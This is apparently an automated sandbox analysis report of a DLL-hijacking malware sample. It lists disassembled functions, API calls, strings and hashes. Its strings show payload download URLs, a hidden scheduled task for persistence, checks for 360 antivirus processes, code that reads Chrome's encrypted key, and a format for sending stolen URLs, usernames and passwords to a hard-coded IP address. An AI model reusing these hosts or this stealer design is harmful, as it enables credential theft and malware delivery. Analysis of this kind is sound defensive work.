Part of subcall function 1004BB4E: ??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@K@Z.MSVCP140(?), ref: 1004BCF8
Part of subcall function 1004BB4E: ??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z.MSVCP140(1004F9F1), ref: 1004BD0F

Part of subcall function 1004D533: CoInitializeEx.OLE32(00000000,00000000,C86DC458), ref: 1004D574
Part of subcall function 1004D533: ??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@J@Z.MSVCP140(00000000), ref: 1004D59E
Part of subcall function 1004D533: ??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z.MSVCP140(1004F9F1), ref: 1004D5AF

??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z.MSVCP140(1004F9F1,?,?,?,?,https://scrt1.nyazz.com/MobServe.exe,C86DC458), ref: 1004DE09
PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,https://scrt1.nyazz.com/MobServe.exe,C86DC458), ref: 1004DEA3
??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z.MSVCP140(1004F9F1,?,?,?,?,?,?,?,?,?,https://scrt1.nyazz.com/MobServe.exe,C86DC458), ref: 1004DED4
??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z.MSVCP140(1004F9F1,?,?,?,?,?,?,?,?,?,?,?,?,https://scrt1.nyazz.com/MobServe.exe,C86DC458), ref: 1004DF20
??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z.MSVCP140(1004F9F1,MobServe.dll,https://ssh.0523qyfw.com/MobServe.dll,?,?,?,?,https://scrt1.nyazz.com/MobServe.exe,C86DC458), ref: 1004DD79

Part of subcall function 1004D409: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 1004D42A
Part of subcall function 1004D409: GetLastError.KERNEL32(00000000), ref: 1004D456
Part of subcall function 1004D409: ??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@K@Z.MSVCP140(?), ref: 1004D46E
Part of subcall function 1004D409: ??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z.MSVCP140(1004F9F1), ref: 1004D485

??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z.MSVCP140(1004F9F1,MobServe.dll,https://ssh.0523qyfw.com/MobServe.dll,?,?,?,?,https://scrt1.nyazz.com/MobServe.exe,C86DC458), ref: 1004E4A9

Part of subcall function 1004E9B2: ?width@ios_base@std@@QBE_JXZ.MSVCP140(C86DC458), ref: 1004EA30
Part of subcall function 1004E9B2: ?width@ios_base@std@@QBE_JXZ.MSVCP140 ref: 1004EA61
Part of subcall function 1004E9B2: ?width@ios_base@std@@QBE_JXZ.MSVCP140 ref: 1004EA96

Strings

MyHiddenApptask, xrefs: 1004DB73
360rps.exe, xrefs: 1004E4F1
https://scrt1.nyazz.com/MobServe.exe, xrefs: 1004DB24
File already exists in the directory., xrefs: 1004E421
Process is already running., xrefs: 1004E45A
MobServe.dll, xrefs: 1004DD13
Scheduled task already exists., xrefs: 1004E486
360rp.exe, xrefs: 1004E09B
File already exists in the directory., xrefs: 1004E38C
MobServe.exe, xrefs: 1004DB62
MyHiddenApptask, xrefs: 1004E6CF
360rp.exe, xrefs: 1004E4DD
MyHiddenApptask, xrefs: 1004E28D
Process is not running. Checking if MobServe.exe file exists in the directory., xrefs: 1004DDE6
360tray.exe, xrefs: 1004E519
Task does not exist. Checking if the MobServe.exe process is running., xrefs: 1004DD56
MyHiddenAppDataDir, xrefs: 1004DC4F
is running., xrefs: 1004E668
File successfully downloaded and moved to , xrefs: 1004DFD2
is running., xrefs: 1004E226
File does not exist. Downloading file., xrefs: 1004DEB1
360sd.exe, xrefs: 1004E0C3
360rps.exe, xrefs: 1004E0AF
No specified processes are running., xrefs: 1004E264
Failed to get AppData path., xrefs: 1004DBCC
Failed to download and move file., xrefs: 1004DEFD
MobServe.exe, xrefs: 1004DD80
No specified processes are running., xrefs: 1004E6A6
https://ssh.0523qyfw.com/MobServe.dll, xrefs: 1004DCFF
360sd.exe, xrefs: 1004E505
360tray.exe, xrefs: 1004E0D7

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: V01@$??6?$basic_ostream@_U?$char_traits@_W@std@@@std@@$V01@@$?width@ios_base@std@@ErrorLastPath$CreateExistsFileFolderInitializeInternetOpenSnapshotTempToolhelp32
String ID: is running.$ is running.$360rp.exe$360rp.exe$360rps.exe$360rps.exe$360sd.exe$360sd.exe$360tray.exe$360tray.exe$Failed to download and move file.$Failed to get AppData path.$File already exists in the directory.$File already exists in the directory.$File does not exist. Downloading file.$File successfully downloaded and moved to $MobServe.dll$MobServe.exe$MobServe.exe$MyHiddenAppDataDir$MyHiddenApptask$MyHiddenApptask$MyHiddenApptask$No specified processes are running.$No specified processes are running.$Process is already running.$Process is not running. Checking if MobServe.exe file exists in the directory.$Scheduled task already exists.$Task does not exist. Checking if the MobServe.exe process is running.$https://scrt1.nyazz.com/MobServe.exe$https://ssh.0523qyfw.com/MobServe.dll
API String ID: 2761338369-1567997658
Opcode ID: d6e1de1cca9fcc043e52856eb3222ade21cba623272a4f666a0c2ddeafaa9784
Instruction ID: 79c6af35a9a77cccb31559bbd4f40d029942bd5a7f024759d3405ed1e1d82e58
Opcode Fuzzy Hash: d6e1de1cca9fcc043e52856eb3222ade21cba623272a4f666a0c2ddeafaa9784
Instruction Fuzzy Hash: 37821874805269DFDB25CB64CD99BDDBBB8EB05300F2040EAE549A3291DB706F88CF59

Function 1004D533 Relevance: 45.9, APIs: 22, Strings: 4, Instructions: 448
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.OLE32(00000000,00000000,C86DC458), ref: 1004D574
??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@J@Z.MSVCP140(00000000), ref: 1004D59E
??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z.MSVCP140(1004F9F1), ref: 1004D5AF
CoCreateInstance.OLE32(1033A4C4,00000000,00000001,1033A4B4,00000000), ref: 1004D5D2
??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@J@Z.MSVCP140(00000000), ref: 1004D5FC
??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z.MSVCP140(1004F9F1), ref: 1004D60D
CoUninitialize.OLE32 ref: 1004D613

Part of subcall function 1004E9B2: ?width@ios_base@std@@QBE_JXZ.MSVCP140(C86DC458), ref: 1004EA30
Part of subcall function 1004E9B2: ?width@ios_base@std@@QBE_JXZ.MSVCP140 ref: 1004EA61
Part of subcall function 1004E9B2: ?width@ios_base@std@@QBE_JXZ.MSVCP140 ref: 1004EA96

Strings

Failed to connect to TaskService: , xrefs: 1004D88E
Failed to get root folder: , xrefs: 1004D98A
Failed to initialize COM library: , xrefs: 1004D583
Failed to create TaskService instance: , xrefs: 1004D5E1

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: V01@$??6?$basic_ostream@_U?$char_traits@_W@std@@@std@@$?width@ios_base@std@@$V01@@$CreateInitializeInstanceUninitialize
String ID: Failed to connect to TaskService: $Failed to create TaskService instance: $Failed to get root folder: $Failed to initialize COM library:
API String ID: 874811561-3579919321
Opcode ID: 87baa7df9f5e24144492b1ea55041f5c8483835711ad7e327bd49aa001cdc87f
Instruction ID: 648d30d16bf7adc504b8794660d21a64224a0fcd95d0481c71cc4e284f58e5b6
Opcode Fuzzy Hash: 87baa7df9f5e24144492b1ea55041f5c8483835711ad7e327bd49aa001cdc87f
Instruction Fuzzy Hash: DF129F75D04629DFCB21CFA4C848BDEBBB2FF4A311F1041A5E909BB261D7716A898F50

Function 10262B30 Relevance: 43.9, APIs: 16, Strings: 9, Instructions: 190
libraryloadernetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32(00000202,?), ref: 10262B58
WSACleanup.WS2_32 ref: 10262B71
GetModuleHandleW.KERNEL32(kernel32,?,00000000), ref: 10262BA8
GetProcAddress.KERNEL32(00000000,LoadLibraryExW), ref: 10262BCC
wcspbrk.API-MS-WIN-CRT-STRING-L1-1-0(iphlpapi.dll,103301A0,?,?,00000000), ref: 10262BDA
LoadLibraryW.KERNEL32(iphlpapi.dll), ref: 10262C01
GetProcAddress.KERNEL32(00000000,AddDllDirectory), ref: 10262C18
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 10262C37
GetSystemDirectoryW.KERNEL32(00000000,?), ref: 10262C65
LoadLibraryW.KERNEL32(00000000), ref: 10262CCE
GetProcAddress.KERNEL32(00000000,if_nametoindex), ref: 10262CF1
GetModuleHandleA.KERNEL32(ws2_32), ref: 10262D01
GetProcAddress.KERNEL32(00000000,FreeAddrInfoExW), ref: 10262D13
GetProcAddress.KERNEL32(00000000,GetAddrInfoExCancel), ref: 10262D20
GetProcAddress.KERNEL32(00000000,GetAddrInfoExW), ref: 10262D2D
QueryPerformanceFrequency.KERNEL32(103484A8), ref: 10262D6C

Strings

LoadLibraryExW, xrefs: 10262BC6
iphlpapi.dll, xrefs: 10262BD3, 10262BEE, 10262BFC, 10262C25, 10262C9D
GetAddrInfoExCancel, xrefs: 10262D15
GetAddrInfoExW, xrefs: 10262D22
kernel32, xrefs: 10262BA1
ws2_32, xrefs: 10262CFC
AddDllDirectory, xrefs: 10262C12
if_nametoindex, xrefs: 10262CEB
FreeAddrInfoExW, xrefs: 10262D0D

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: AddressProc$DirectoryHandleLibraryLoadModuleSystem$CleanupFrequencyPerformanceQueryStartupwcspbrk
String ID: AddDllDirectory$FreeAddrInfoExW$GetAddrInfoExCancel$GetAddrInfoExW$LoadLibraryExW$if_nametoindex$iphlpapi.dll$kernel32$ws2_32
API String ID: 606336418-1796637598
Opcode ID: 2a1aac616b99d68533fd5f9690e6d6bf65496c76ab17a9233ae3f779da9ddc7b
Instruction ID: 2a1a27b507fbfce357233dc44e461c1c26e7eae5abed242fab06a670fa7a3b2c
Opcode Fuzzy Hash: 2a1aac616b99d68533fd5f9690e6d6bf65496c76ab17a9233ae3f779da9ddc7b
Instruction Fuzzy Hash: D4514934A00717ABE7209F308CDAFAE76A4EF87785F120028FD45AE290EF349C55C695

Function 1004B735 Relevance: 24.2, APIs: 5, Strings: 11, Instructions: 241
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

D:\BaiduNetdiskDownload\Latest release\Baymax Patch Tools v3.3.1\HiJack\libEGL_vs2022_x86\libEGL.cpp, xrefs: 1004B89E
D:\BaiduNetdiskDownload\Latest release\Baymax Patch Tools v3.3.1\HiJack\libEGL_vs2022_x86\libEGL.cpp, xrefs: 1004B886
v10, xrefs: 1004B945
D:\BaiduNetdiskDownload\Latest release\Baymax Patch Tools v3.3.1\HiJack\libEGL_vs2022_x86\libEGL.cpp, xrefs: 1004BA94
http://154.19.200.133:8087, xrefs: 1004BA4C
D:\BaiduNetdiskDownload\Latest release\Baymax Patch Tools v3.3.1\HiJack\libEGL_vs2022_x86\libEGL.cpp, xrefs: 1004B7C6
SQL , xrefs: 1004B86A
D:\BaiduNetdiskDownload\Latest release\Baymax Patch Tools v3.3.1\HiJack\libEGL_vs2022_x86\libEGL.cpp, xrefs: 1004B822
D:\BaiduNetdiskDownload\Latest release\Baymax Patch Tools v3.3.1\HiJack\libEGL_vs2022_x86\libEGL.cpp, xrefs: 1004B80A
D:\BaiduNetdiskDownload\Latest release\Baymax Patch Tools v3.3.1\HiJack\libEGL_vs2022_x86\libEGL.cpp, xrefs: 1004BAAC
url=%s&username=%s&password=%.*s, xrefs: 1004BA10

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: FileTemp$CopyNamePathfopen_s
String ID: D:\BaiduNetdiskDownload\Latest release\Baymax Patch Tools v3.3.1\HiJack\libEGL_vs2022_x86\libEGL.cpp$D:\BaiduNetdiskDownload\Latest release\Baymax Patch Tools v3.3.1\HiJack\libEGL_vs2022_x86\libEGL.cpp$D:\BaiduNetdiskDownload\Latest release\Baymax Patch Tools v3.3.1\HiJack\libEGL_vs2022_x86\libEGL.cpp$D:\BaiduNetdiskDownload\Latest release\Baymax Patch Tools v3.3.1\HiJack\libEGL_vs2022_x86\libEGL.cpp$D:\BaiduNetdiskDownload\Latest release\Baymax Patch Tools v3.3.1\HiJack\libEGL_vs2022_x86\libEGL.cpp$D:\BaiduNetdiskDownload\Latest release\Baymax Patch Tools v3.3.1\HiJack\libEGL_vs2022_x86\libEGL.cpp$D:\BaiduNetdiskDownload\Latest release\Baymax Patch Tools v3.3.1\HiJack\libEGL_vs2022_x86\libEGL.cpp$SQL $http://154.19.200.133:8087$url=%s&username=%s&password=%.*s$v10
API String ID: 3076747166-2476454845
Opcode ID: 96a3857e483310e98a757e8c5ec6be17577a40fa4aa566ac42bd18814837f84d
Instruction ID: d9c3a0bbd2941458f5059eb9f1b372bf5e7fcc553794de189e5ded7749129e2b
Opcode Fuzzy Hash: 96a3857e483310e98a757e8c5ec6be17577a40fa4aa566ac42bd18814837f84d
Instruction Fuzzy Hash: E0912E76D04919EEDB21DA60EC06BEF7BB5EF09316F2000E5F509E5091EF31AAA4DE14

Function 1004B245 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 89
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fopen_s.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,102A6650,?,?,?,?,?,?,1004B768,?,?), ref: 1004B257
fseek.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000000,00000002,?,?,?,?,?,?,?,?,?,1004B768,?,?), ref: 1004B272
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,1004B768,?,?), ref: 1004B27E
fseek.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,1004B768,?), ref: 1004B28F
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 1004B29D
fread.API-MS-WIN-CRT-STDIO-L1-1-0(1004B768,00000001,?,?), ref: 1004B2B2
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 1004B2C7
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,D:\BaiduNetdiskDownload\Latest release\Baymax Patch Tools v3.3.1\HiJack\libEGL_vs2022_x86\libEGL.cpp,0000005A), ref: 1004B318
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 1004B32D

Strings

encrypted_key, xrefs: 1004B2F2
D:\BaiduNetdiskDownload\Latest release\Baymax Patch Tools v3.3.1\HiJack\libEGL_vs2022_x86\libEGL.cpp, xrefs: 1004B310
os_crypt, xrefs: 1004B2DE

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: fseekstrlen$fclosefopen_sfreadftellmalloc
String ID: D:\BaiduNetdiskDownload\Latest release\Baymax Patch Tools v3.3.1\HiJack\libEGL_vs2022_x86\libEGL.cpp$encrypted_key$os_crypt
API String ID: 269883100-3179416896
Opcode ID: ab15fe402445467ff340c781ed7ba24d65a813a49d04ba5b0b4dbd3582f4fac6
Instruction ID: 6f163d56655eb3a01147a8027e2bfb5f1160aae46e3ebd2bc6850788ab92daa9
Opcode Fuzzy Hash: ab15fe402445467ff340c781ed7ba24d65a813a49d04ba5b0b4dbd3582f4fac6
Instruction Fuzzy Hash: 0E312775C00109FFDF159FA4EC4AAAEBBB5EF08304F200065F914F61A1EB326A249B59

Function 10250460 Relevance: 18.5, APIs: 12, Instructions: 547
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2c8e904d167201b1f32d6eb0bb39d3756d74eca43c471de25c39da11ccdb45c
Instruction ID: 68c9850d4145128ee566d81bb5a4d813fd93cd26831abe3a49f44c54aebdb1aa
Opcode Fuzzy Hash: e2c8e904d167201b1f32d6eb0bb39d3756d74eca43c471de25c39da11ccdb45c
Instruction Fuzzy Hash: 90226970A083969FD760CF14C8C4BAAB7E4FF88748F10092DF98597291D778E958CB56

Function 102A0A68 Relevance: 10.6, APIs: 7, Instructions: 136
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 102A0AAF
___scrt_uninitialize_crt.LIBCMT ref: 102A0AC9

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: 6e75b1b90927e0be511f070e9d30853536da5a47744350ef5e6b397df3e9961a
Instruction ID: 3d9b1607a9061b87fb53be0a0c8395ca12256d5c0c0184909518848468970b5e
Opcode Fuzzy Hash: 6e75b1b90927e0be511f070e9d30853536da5a47744350ef5e6b397df3e9961a
Instruction Fuzzy Hash: 5E41E536D0022AEFDB11DF54CD81B9E7675EF84BA4F214A16F81496950CF385D21CFA0

Function 10246D50 Relevance: 8.8, APIs: 7, Instructions: 69
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,00000034,?,1004B2D6,1004B768), ref: 10246D55
calloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,00000014,?,1004B2D6,1004B768), ref: 10246D67
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,1004B2D6,1004B768), ref: 10246D77

Part of subcall function 10248710: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,00000000,10246DB2,00000000,?,?,?,?,1004B2D6,1004B768), ref: 10248763

Part of subcall function 10246E10: setlocale.API-MS-WIN-CRT-LOCALE-L1-1-0(00000004,00000000), ref: 10246E69
Part of subcall function 10246E10: _strdup.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000), ref: 10246E76
Part of subcall function 10246E10: setlocale.API-MS-WIN-CRT-LOCALE-L1-1-0(00000004,102B8330,00000000), ref: 10246E91

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,1004B2D6,1004B768), ref: 10246D92
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,1004B2D6,1004B768), ref: 10246D98
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,1004B2D6,1004B768), ref: 10246DF4
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,1004B2D6,1004B768), ref: 10246DFA

Part of subcall function 10246C50: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,10248751,?,?,?,00000000,10246DB2,00000000,?,?,?,?,1004B2D6,1004B768), ref: 10246C88
Part of subcall function 10246C50: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,1004B2D6,1004B768), ref: 10246CAD

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: free$callocsetlocale$_strdup
String ID:
API String ID: 1875950247-0
Opcode ID: b56773c1ecbb72a7103f0b17bc76568eb641ea1e24c258b8aa967091f1339381
Instruction ID: d261e14cc736ec76f07ec3890dd15f58ff31b438b13e4eb15cd31806cc7c89e0
Opcode Fuzzy Hash: b56773c1ecbb72a7103f0b17bc76568eb641ea1e24c258b8aa967091f1339381
Instruction Fuzzy Hash: 1E11E37DF01622EAD769AB34BD0AA4B7598CF452A1F310434F809D6A40FE21E535CAE3

Function 102A0B18 Relevance: 7.6, APIs: 5, Instructions: 87
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

dllmain_raw.LIBCMT ref: 102A0B55
dllmain_crt_dispatch.LIBCMT ref: 102A0B6C
dllmain_raw.LIBCMT ref: 102A0BB4
dllmain_crt_dispatch.LIBCMT ref: 102A0BC7
dllmain_raw.LIBCMT ref: 102A0BDA

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: aae0a41208a1738b7b3411e968d558532970a04c4eb884d83d3f7474f352f4e2
Instruction ID: 378f3a3c294e0b920e849440dbaf323c3e838210831b3441b6e65e39501f2040
Opcode Fuzzy Hash: aae0a41208a1738b7b3411e968d558532970a04c4eb884d83d3f7474f352f4e2
Instruction Fuzzy Hash: 6D21D371D0026AEFCB219F14CDC0E6F3A69EB85BE8F214616F81457A10CB389D61CBE0

Function 1004B601 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathA.KERNEL32(00000104,?), ref: 1004B620
GetTempFileNameA.KERNELBASE(?,chrome,00000000,1004B757), ref: 1004B637
CopyFileA.KERNEL32(1004E8EF,1004B757,00000000), ref: 1004B646

Strings

chrome, xrefs: 1004B62B

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: FileTemp$CopyNamePath
String ID: chrome
API String ID: 291496533-4191585516
Opcode ID: 741baab7e9b6b1c3a2cc9a2daf92243df414898438fd11620697092256d9f88b
Instruction ID: 9f7793437dfef922e50ff27f6188ea8508e9d81d5004c99e6987a856ba80e951
Opcode Fuzzy Hash: 741baab7e9b6b1c3a2cc9a2daf92243df414898438fd11620697092256d9f88b
Instruction Fuzzy Hash: 9EF03A3560021CEFDB209FA0CC49BCA7BA9EB4D704F104065F649DA490DF74A6988F08

Function 1025B1F0 Relevance: 4.6, APIs: 3, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0bb40ae4a022782b42763026a1caf2a2d98e6b068f7f52614d107f11911e8fc
Instruction ID: bcc3f405f9f97cd27099239772d254570ae1bb60f865a616098945c0131cae1a
Opcode Fuzzy Hash: e0bb40ae4a022782b42763026a1caf2a2d98e6b068f7f52614d107f11911e8fc
Instruction Fuzzy Hash: AD51C7B0005B419AE3719F38D8497C7BAE5AB41328F504A1CE4FE5A2C1CBBA3159CF95

Function 1004E930 Relevance: 4.5, APIs: 3, Instructions: 29threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?,?,?,102A0B88,?,00000001,00000000,?,00000001,00000000,?,00000001,00000000,1033F3C8,0000000C,00000007), ref: 1004E945
CreateThread.KERNEL32(00000000,00000000,1004E88E,00000000,00000000,00000000), ref: 1004E95A
CreateThread.KERNEL32(00000000,00000000,1004E880,00000000,00000000,00000000), ref: 1004E96F

Memory Dump Source

